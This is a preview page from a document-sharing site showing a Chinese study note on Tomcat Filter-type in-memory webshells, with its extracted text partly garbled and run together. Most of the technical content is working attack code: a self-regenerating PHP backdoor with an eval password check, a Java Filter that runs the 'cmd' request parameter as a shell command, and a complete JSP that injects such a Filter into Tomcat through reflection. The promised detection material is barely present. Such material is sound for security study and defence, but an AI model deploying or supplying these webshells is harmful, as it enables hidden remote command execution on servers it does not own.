2024Tomcat Filter类型内存马与查杀技术学习_第1页
2024Tomcat Filter类型内存马与查杀技术学习_第2页
2024Tomcat Filter类型内存马与查杀技术学习_第3页
2024Tomcat Filter类型内存马与查杀技术学习_第4页
2024Tomcat Filter类型内存马与查杀技术学习_第5页
已阅读5页,还剩35页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

PAGEPAGE10/41TomcatFilter类型内存⻢与查杀技术学习前⾔随着每年攻防对抗强度的增加,普通的⽊⻢在各⼤⼚商的安全设备下,根本难以存活,想要落地⼀个实体⽊⻢的难渐增⼤逐步完善的过滤机制前后端分离的趋势,使得传统的webshell⽣存空间越来越⼩于是,随着时代的发展,内存⻢出现了内存⻢就是⼀种⽆需落地⽂件就能使⽤的webshell,它将恶意代码写⼊内存,拦截固定参数来达到webshell的效果发展过程如下:web服务器管理⻚⾯——>⼤⻢——>⼩⻢拉⼤⻢——>⼀句话⽊⻢——>加密⼀句话⽊⻢——>php内存⻢刚开始学习的时候,只知道php内存⻢,想的都是内存⻢,php和java应该会有⼀些相似的特征,应该可以类⽐⼀下php内存⻢常常作为AWD对抗赛的常⽤⼿段先通过⼀个简单的php型看⼀下内存⻢的基本实现思路<?php<?phpignore_user_abort(true);//ignore_user_abort如果设置为TRUE,则忽略与⽤户的断开,脚本将继续运⾏set_time_limit(0);//PHP脚本限制了执⾏时间,set_time_limit(0)设置⼀个脚本的执⾏时间为⽆限⻓unlink(FILE);//删除⾃身$file='.config.php';$code='<?phpif(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);}?>';while(1){file_put_contents($file,$code);file_put_contents($file,$code);//创建shell.phpsystem('touch-m-d"2018-12-0109:10:12".config.php');usleep(50);//间隔时间}?>⽣成.config.php普通ls列不出来,得ls-a才会列出==>隐藏⽂件删除⾃身⽂件,然后在某⼀个⽬录下循环⽣成你的webshell==>不死那我们可以梳理⼀下php内存⻢的流程:将携带循环⽣成⽊⻢的命令脚本上传⾄⽬标服务器删除⽂件本身让其以隐藏⽂件的⽅式,死循环创建⽂件,并php内存⻢重启php服务器,(serviceapache2restart)强⾏kill后台进程psaux|grepwww-data|awkprint$2|xargskill9while循环写脚本while:;dorm-rfxxx;done建⽴⼀个和不死⻢相同名字的⽂件或者⽬录,不断竞争写⼊⼀个和不死⻢同名的⽂件<?php<?phpwhile(1){$pid=不死⻢的进程PID;@unlink(".ski12.php");exec("kill-9$pid");usleep(20);}?>那我们根据php来类⽐⼀下java内存⻢⽆⽂件落地,⽤户⽆法浏览到⽂件不死,能够循环执⾏要实现这两点,需要结合java的特性来看,通常运⾏java的web容器是Tomcat,这⾥以Tomcat为例实现思路我们先来看⼀下客户端(浏览器)与服务器(Tomcat)交互的简化流程客户端发起的web请求会依次经过ListenerFilterServlet三个组件,我们只要在这个请求的过程中做⼿脚,在内存中修改已有的组件或者动态注册⼀个新的组件,插⼊恶意的shellcode,就可以达到我们的⽬的⼀句话总结:对访问路径映射及相关处理代码的动态注册我们要在上⾯这三个地⽅动⼿脚,于是按照作⽤的位置,我们有了listener内存⻢filter内存⻢Servlet内存⻢这三个,统称为:servlet-api型在特定框架⾥,如Spring/Struts2等框架,按照位置分类可以有interceptor型controller型同时,针对不同的中间件还有不同的类型Tomcat的Pipeline&ValveGrizzly的FilterChain&Filter等等最后⼀种是字节码增强型内存⻢,JavaAgent内存⻢最终安全⾏业将分为以下⼏类动态注册servlet/filter/listener(使⽤servlet-api的具体实现)动态注册interceptor/controller(使⽤框架如spring/struts2)动态注册使⽤职责链设计模式的中间件框架的实现(例如Tomcat的Pipeline&Valve,GrizzlyFilterChain&Filter等等)使⽤javaagent技术写⼊字节Filter型内存⻢为例在进⼊正题之前,先说两个东⻄java特性--反射java的四⼤特性是,封装,继承,多态,反射,其中灵魂是反射我们先看这张图,正常我们new⼀个对象的时候,逻辑过程是,把class⽂件加载到jvm中,之后才能产⽣class对象,但是我们利⽤反射机制的话,就能够直接在jvm中调⽤已经加载好的class⽂件,从⽽实现去new⼀个对象简单的反射获取对象的⽅法有以下⼏种:类名类名.class,如:com.anbai.sec.classloader.TestHelloWorld.classClass.forName("com.anbai.sec.classloader.TestHelloWorld")classLoader.loadClass("com.anbai.sec.classloader.TestHelloWorld")常在连接数据库的时候这么⽤①获取⽬标类型的Class对象②通过Class对象分别获取Constructor类对象Method类对象&Field类对象③通过Constructor类对象Method类对象&Field类对象分别获取类的构造函数⽅法&属性的具体信息,并进后续操作Tomcat热加载上⾯说到,根据双亲委派机制,那么什么是双亲委派机制呢?但是Tomcat不适⽤于这种机制,他所使⽤的是:所以,在分析某些类的时候,要按照对应Tomcat⾥⾯去分析流程分析filter也称之为过滤器,过滤器实际上就是对web资源进⾏拦截,做⼀些过滤,权限鉴别等处理后再交给下⼀个过滤器或servlet处理,通常都是⽤来拦截request进⾏处理的,也可以对返回的response进⾏拦截处理当多个filter同时存在的时候,组成了filter链web服务器根据Filter在web.xml⽂件中的注册顺序,决定先调⽤哪个Filter第⼀个Filter的doFilter⽅法被调⽤时,web服务器会创建⼀个代表Filter链的FilterChain对象传递法doFilter⽅法中,开发⼈员如果调⽤了FilterChain对象的doFilter⽅法,则web服务器会检查FilterChain对象中是否还有filter 如果有 则调⽤第2个filter 如果没有 则调⽤⽬标资源象中是否还有filter,如果有,则调⽤第2个filter,如果没有,则调⽤⽬标资源如果我们动态创建⼀个filter并且将其放在最前⾯,我们的filter就会最先执⾏,当我们在filter中添加恶意代码,就会进⾏命令执⾏,这样也就成为了⼀个内存WebshellFilter⽣命周期publicvoidinitpublicvoidinit(FilterConfigfilterConfig)throwsServletException //初始化publicvoiddoFilter(ServletRequestrequest,ServletResponseresponse,FilterChainchain)throwsIOException,letException; //拦截请求publicvoiddestroy();//销毁Filter对象创建后会驻留在内存,当web应⽤移除或服务器停⽌时才销毁在Web容器卸载Filter对象之前被调⽤该⽅法在Filter的⽣命周期中仅执⾏⼀次在这个⽅法中,可以释放过滤器使⽤的资源我们可以通过动态注册的⽅法去注册⼀个FIlterFilter类的介绍FilterDefs:存放FilterDef的数组,FilterDef中存储着我们过滤器名,过滤器实例等基本信息FilterConfigs:filterConfig的数组,FilterConfigFilterDefFilter对象等信息FilterMaps:存放FilterMap的数组,FilterMap中主要存放了FilterName和对应的URLPatternFilterChain:过滤器链,该对象上的doFilter⽅法能依次调⽤链上的FilterApplicationFilterChain:调⽤过滤器链ApplicationFilterConfig:获取过滤器ApplicationFilterFactory:组装过滤器链WebXml:存放web.xml中内容的类ContextConfig:Web应⽤的上下⽂配置类StandardContext:Context接⼝的标准实现类,⼀个Context代表⼀个Web应⽤,其下可以包含多个WrapperStandardWrapperValve:⼀个Wrapper的标准实现类,⼀个Wrapper代表⼀个ServletOK,到这⾥,我我们有些许迷茫,什么是Context,wrapperServletjava最基本的应⽤,Tomcat是⼀个Servlet容器,tomcatconnector连接器和容器组成(这四个容器的关系如下),是⽗⼦关系,不是平⾏关系,和Servlet的⽅式不同,Filter不能通过注解去配置,必须在web.xml进⾏配置<?xmlversion="1.0"encoding="UTF-8"?><?xmlversion="1.0"encoding="UTF-8"?><<web-appxmlns="/xml/ns/javaee"xmlns:xsi="xsi:schemaLocation="version="4.0"><filter><filter-name>filterDemo</filter-name><filter-class>FilterDemo</filter-class></filter><filter-mapping><filter-name>filterDemo</filter-name><url-pattern>/*</url-pattern></filter-mapping><filter><filter-name>filterDemo2</filter-name><filter-class>FilterDemo2</filter-class></filter><filter-mapping><filter-name>filterDemo2</filter-name><url-pattern>/*</url-pattern></filter-mapping></web-app>这⾥写了两个FilterDemo,代码基本相同,主要是为了展示这个Filter过滤链importimportjavax.servlet.*;importjava.io.IOException;publicclassFilterDemo2implementsFilter{@Overridepublicvoidinit(FilterConfigfilterConfig)throwsServletException{System.out.println("第⼀个Filter初始化创建");}@OverridepublicvoiddoFilter(ServletRequestservletRequest,ServletResponseservletResponse,FilterChainfilterChain)throwsIOException,ServletException{Systemoutprintln("第⼀个Filter执⾏过滤操作");System.out.println(System.out.println(第个Filter执⾏过滤操作);filterChain.doFilter(servletRequest,servletResponse);}@Overridepublicvoiddestroy(){}}Tomcat是这样将我们⾃定义的filter调⽤的根据请求的URL从FilterMaps中找出与之URL对应的Filter名称根据Filter名称去FilterConfigs中寻找对应名称的FilterConfig找到对应的FilterConfig之后添加到FilterChain中,并且FilterChainfilterChaininternalDoFilter遍历获chainFilterConfig,FilterConfig中获Filter,然后调⽤Filter的doFilter⽅法模拟注⼊<?xmlversion="1.0"encoding="UTF-8"?><<?xmlversion="1.0"encoding="UTF-8"?><web-appxmlns="/xml/ns/javaee"xmlns:xsi="xsi:schemaLocation="/xml/ns/javaee/xml/ns/javaee/web-app_4_0.xsd"version="4.0"><filter><filter-name>cmd_Filters</filter-name><filter-class>cmd_Filters</filter-class></filter><filter-mapping><filter-name>cmd_Filters</filter-name><url-pattern>/*</url-pattern></filter-mapping><filter><filter-name>filterDemo</filter-name><filter-class>FilterDemo</filter-class></filter><filter-mapping><filter-name>filterDemo</filter-name><url-pattern>/*</url-pattern></filter-mapping></web-app>importjavax.servlet.*;importjavax.servlet.http.HttpServletRequest;importjavax.servlet.http.HttpServletResponse;importjava.io.IOException;importjava.io.InputStream;importjava.util.Scanner;publicclasscmd_FiltersimplementsFilter{publicvoiddestroy(){}publicvoiddoFilter(ServletRequestrequest,ServletResponseresponse,FilterChainchain)throwsServletException,IOException{HttpServletRequestreq=(HttpServletRequest)request;HttpServletResponseresp=(HttpServletResponse)response;if(req.getParameter("cmd")!=null){booleanisLinux=true;StringosTyp=System.getProperty(" );if(osTyp!=null&&osTyp.toLowerCase().contains("win")){isLinux=false;}String[]cmds=isLinux?newString[]{"sh","-c",req.getParameter("cmd")}:newString[]{"cmd.exe","/c",req.getParameter("cmd")};InputStreamin=Runtime.getRuntime().exec(cmds).getInputStream();Scanners=newScanner(in).useDelimiter("\\A");Stringoutput=s.hasNext()?s.next():"";resp.getWriter().write(output);resp.getWriter().flush();}chain.doFilter(request,response);}publicvoidinit(FilterConfigconfig)throwsServletException{}}实际过程中,我们是不可能操作web.xml的,我们需要使⽤反射进⾏动态注册,流程如下:创建⼀个恶意Filter利⽤FilterDef对Filter进⾏⼀个封装将FilterDef添加到FilterDefs和FilterConfig创FilterMap,Filterurlpattern相对应,filterMaps中(Filter⽣效会有⼀个先后顺序,所以我们⼀般都是放在最前⾯,让我们的Filter最先触发)从前⾯的的分析,可以发现程序在创建过滤器链的时候,context变量⾥⾯包含了三个和filter有关的成员变量:filterConfigs,filterDefs,filterMaps现在要解决的两个问题:1.如何获取这个context对象如何获取这个context对象如何修改如何获context对象⾸先,你需要知道Tomcat中的对应的ServletContext实现是ApplicationContextWeb应⽤中获ServletContext实际上ApplicationContextFacade对象,ApplicationContext进⾏了封装,⽽ApplicationContext实例中⼜包含了StandardContext实例,以此来获取操作Tomcat容器内部的⼀些信息例如Servlet的注册等ServletContextservletContext=request.getSession().getServletContext();Fieldappctx=servletContext.getClass().getDeclaredField("context");appctx.setAccessible(true);ApplicationContextapplicationContext=(ApplicationContext)appctx.get(servletContext);当我们能直接获取request的时候,可以直接将ServletContext转为StandardContext从⽽ServletContextservletContext=request.getSession().getServletContext();Fieldappctx=servletContext.getClass().getDeclaredField("context");appctx.setAccessible(true);ApplicationContextapplicationContext=(ApplicationContext)appctx.get(servletContext);//上⾯⼏⾏的⽬的是为了获取//上⾯⼏⾏的⽬的是为了获取(ApplicationContext)contextJava反射获取servletContext所属的类(ServletContext实际上是ApplicationContextFacade对象),使⽤getDeclaredField根据指定名称context获取类的属性(privatefinalorg.apache.catalina.core.ApplicationContext),因为是private类型,所以使⽤setAccessible取消对权限的检查,实现对私有的访问,此时appctx的值:ApplicationContext->StandardContext(ApplicationContext实例中包含了StandardContext实例)Fieldstdctx=applicationContext.getClass().getDeclaredField(Fieldstdctx=applicationContext.getClass().getDeclaredField("context");stdctx.setAccessible(true);StandardContextstandardContext=(StandardContext)stdctx.get(applicationContext);//上⾯⼏⾏的⽬的是为了获取(StandradContext)context通过Java反射获取applicationContext所属的类(org.apache.catalina.core.ApplicationContext),使⽤getDeclaredField根据指定名称context获取类的属性(privatefinalorg.apache.catalina.core.StandardContext),因为是private类型,使⽤setAccessible取消对权限的检查,实现对私有的访问,此时stdctx的值:ServletContextservletContext=request.getSession().getServletContext();Fieldappctx=servletContext.getClass().getDeclaredField("context");appctx.setAccessible(true);//ApplicationContext为ServletContextServletContextservletContext=request.getSession().getServletContext();Fieldappctx=servletContext.getClass().getDeclaredField("context");appctx.setAccessible(true);//ApplicationContext为ServletContext的实现类ApplicationContextapplicationContext=(ApplicationContext)appctx.get(servletContext);Fieldstdctx=applicationContext.getClass().getDeclaredField("context");stdctx.setAccessible(true);//这样我们就获取到了contextStandardContextstandardContext=(StandardContext)stdctx.get(applicationContext);如何修改对应的属性addFilterDef: 添加⼀个filterDef到ContextaddFilterMapBefore:添加filterMap到所有filter最前⾯ApplicationFilterConfig:为指定的过滤器构造⼀个新的ApplicationFilterConfig我们需要实例化⼀个FilterDef对象,并将恶意构造的恶意类添加到filterDef中////定义⼀些基础属性类名filter名等filterDemofilter=newfilterDemo();FilterDeffilterDef=newFilterDef();//name=filterDemofilterDef.setFilterName(name);filterDef.setFilterClass(filter.getClass().getName());filterDef.setFilter(filter);//添加filterDefstandardContext.addFilterDef(filterDef);之后,实例化⼀个FilterMap对象,并将filterMap到所有filter最前⾯////创建filterMap,设置filter和url的映射关系,可设置成单⼀url如/xyz,也可以所有⻚⾯都FilterMapfilterMap=newFilterMap();//filterMap.addURLPattern("/*");filterMap.addURLPattern("/xyz");//name=filterDemofilterMap.setFilterName(name);filterMap.setDispatcher(//添加我们的filterMap到所有filter最前⾯standardContext.addFilterMapBefore(filterMap);可触发可设置为/*最后,FilterConfigsfilterConfig的数组,FilterConfigFilterDefFilter对象等信息先获取当前filterConfigs信息FieldConfigs=standardContext.getClass().getDeclaredField(FieldConfigs=standardContext.getClass().getDeclaredField("filterConfigs");Configs.setAccessible(true);MapfilterConfigs=(Map)Configs.get(standardContext);Constructorconstructor=ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);constructor.setAccessible(true);ApplicationFilterConfigfilterConfig=(ApplicationFilterConfig)constructor.newInstance(standardContext,filterDef);通过Java反射来获得构造器(Constructor)对象并Constructorconstructor=ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);constructor.setAccessible(true);ApplicationFilterConfigfilterConfig=(ApplicationFilterConfig)constructor.newInstance(standardContext,filterDef);然后将恶意的filter名和配置好的filterConfig传⼊//name=filterDemo//name=filterDemofilterConfigs.put(name,filterConfig);name

⾄此,我们的恶意filter已经全部装载完成最终得到的内存⻢为<%--CreatedbyIntelliJUser:12451Date:Time:17:41TochangethistemplateuseFile|Settings|FileTemplates.--%><%@pageimport="org.apache.catalina.core.ApplicationContext"%><%@pageimport="java.lang.reflect.Field"%><%@pageimport="org.apache.catalina.core.StandardContext"%><%@pageimport="java.util.Map"%><%@pageimport="java.io.IOException"%><%@pageimport="java.lang.reflect.Constructor"%><%@pageimport="org.apache.catalina.core.ApplicationFilterConfig"%><%@pageimport="org.apache.catalina.Context"%><%@pageimport="org.apache.catalina.deploy.FilterDef"%><%@pageimport="org.apache.catalina.deploy.FilterMap"%><%@pagelanguage="java"contentType="text/html;charset=UTF-8"pageEncoding="UTF-8"%><%finalStringname=FilterAgent;ServletContextservletContext=request.getSession().getServletContext();Fieldappctx=servletContext.getClass().getDeclaredField("context");appctx.setAccessible(true);ApplicationContextapplicationContext=(ApplicationContext)appctx.get(servletContext);Fieldstdctx=applicationContext.getClass().getDeclaredField("context");stdctx.setAccessible(true);StandardContextstandardContext=(StandardContext)stdctx.get(applicationContext);FieldConfigs=standardContext.getClass().getDeclaredField("filterConfigs");Configs.setAccessible(true);ifMapfilterConfigs=(Map)Configs.get(standardContext);(filterConfigs.get(name)==null){ifpublicvoidthrowsFilterfilter=newFilter(){@Overridepublicvoidthrows}@Override

init(FilterConfigfilterConfig)

ServletException{rChain)

doFilter(ServletRequestservletRequest,ServletResponseservletResponse,FilterChainfilteIOException,ServletException{publicvoidthrowsHttpServletRequestreq=(HttpServletRequest)servletRequest;publicvoidthrowsif(req.getParameter("cmd")!=null){byte[]bytes=newbyte[1024];ifintProcessprocess=newProcessBuilder("cmd","/c",req.getParameter("cmd")).start();len=process.getInputStream().read(bytes);intservletResponse.getWriter().write(newString(bytes,0,len));process.destroy();returnreturn;}filterChain.doFilter(servletRequest,servletResponse);}void@Overridevoidpublicpublic}};

destroy(){FilterDeffilterDef=newFilterDef();filterDefsetFilter(filter);ss);

filterDef.setFilterName(name);filterDef.setFilterClass(filter.getClass().getName());/***将filterDef添加到filterDefs中*/standardContext.addFilterDef(filterDef);FilterMapfilterMap=newFilterMap();filterMap.addURLPattern("/*");filterMap.setFilterName(name);filterMap.setDispatcher(standardContext.addFilterMapBefore(filterMap);Constructorconstructor=ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.claconstructor.setAccessible(true);ApplicationFilterConfigfilterConfig=(ApplicationFilterConfig)constructor.newInstance(standardContext,filterDef);filterConfigs.put(name,filterConfig);out.print("InjectSuccess!");}%>效果如下之后,在

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论